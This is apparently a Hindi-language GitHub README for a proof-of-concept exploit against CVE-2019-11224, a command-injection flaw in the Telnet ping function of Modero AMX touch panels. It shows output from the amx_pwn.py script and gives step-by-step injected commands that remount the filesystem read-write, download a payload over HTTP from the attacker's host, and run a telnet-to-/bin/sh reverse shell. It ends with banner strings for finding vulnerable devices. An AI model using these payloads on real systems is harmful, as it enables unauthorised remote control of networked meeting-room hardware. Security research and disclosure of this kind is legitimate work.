Modero AMX कोड निष्पादन (CVE-2019-11224)

इस रिपॉजिटरी में CVE-2019–11224 (https://link.medium.com/zukA0oCnV8) के बारे में कुछ स्रोत हैं, क्योंकि मैंने देखा कि आधिकारिक NIST वेबसाइट पर लिंक अब काम नहीं करता। Modero AMX डिवाइस मूलतः मीटिंग रूम के लिए टच पैनल डिवाइस हैं, इन्हें कई अलग-अलग वातावरणों में देखा जा सकता है और आमतौर पर इनमें Telnet खुला होता है। क्योंकि वे Telnet का उपयोग करके एक आदर्श से कम कंसोल का अनुकरण करते हैं, इसलिए कमांड सेपरेटर का उपयोग करके 'ping' फ़ंक्शन के माध्यम से कोड इंजेक्शन भेद्यता मौजूद है।

मूल रूप से इस GitHub रिपॉजिटरी को बनाने और AMX डिवाइसों पर काम करने के बाद, मैंने इस भेद्यता के साथ रिवर्स शेल प्राप्त करने के लिए एक POC और शोषण प्रक्रिया बनाई है। उम्मीद है कि यह आपको खुशी देगा :}

🐢 amx_pwn.py के साथ शेल प्राप्त करना

मैंने एक POC amx_pwn.py लिखा है जो सहायक होना चाहिए। नीचे उदाहरण आउटपुट है:

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7  Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

इसे मैन्युअल रूप से करने के चरण नीचे देखे जा सकते हैं:

• फ़ाइल सिस्टम को R/W के रूप में पुनः माउंट करें:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
  
• डिवाइस के लिए सुलभ एक फ़ाइल होस्ट करें - सामग्री इस प्रकार होनी चाहिए:
  नोट: आपको दो netcat लिसनर की आवश्यकता है, एक इनपुट के लिए और दूसरा आउटपुट के लिए।
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
  
• अपनी फ़ाइल डाउनलोड करें - नोट: यह एक IP होना चाहिए और HTTP पर प्रस्तुत किया जाना चाहिए। ये डिवाइस पुराने हैं।
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
  
• अपनी फ़ाइल निष्पादित करें और शेल पकड़ें:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ Modero AMX सेवा की पहचान करना

निम्नलिखित युक्त Telnet बैनर (आमतौर पर पोर्ट 23) की जाँच करें: Welcome to Modero: या Copyright (C) AMX LLC। 2.87.13 से पहले के संस्करण देखें।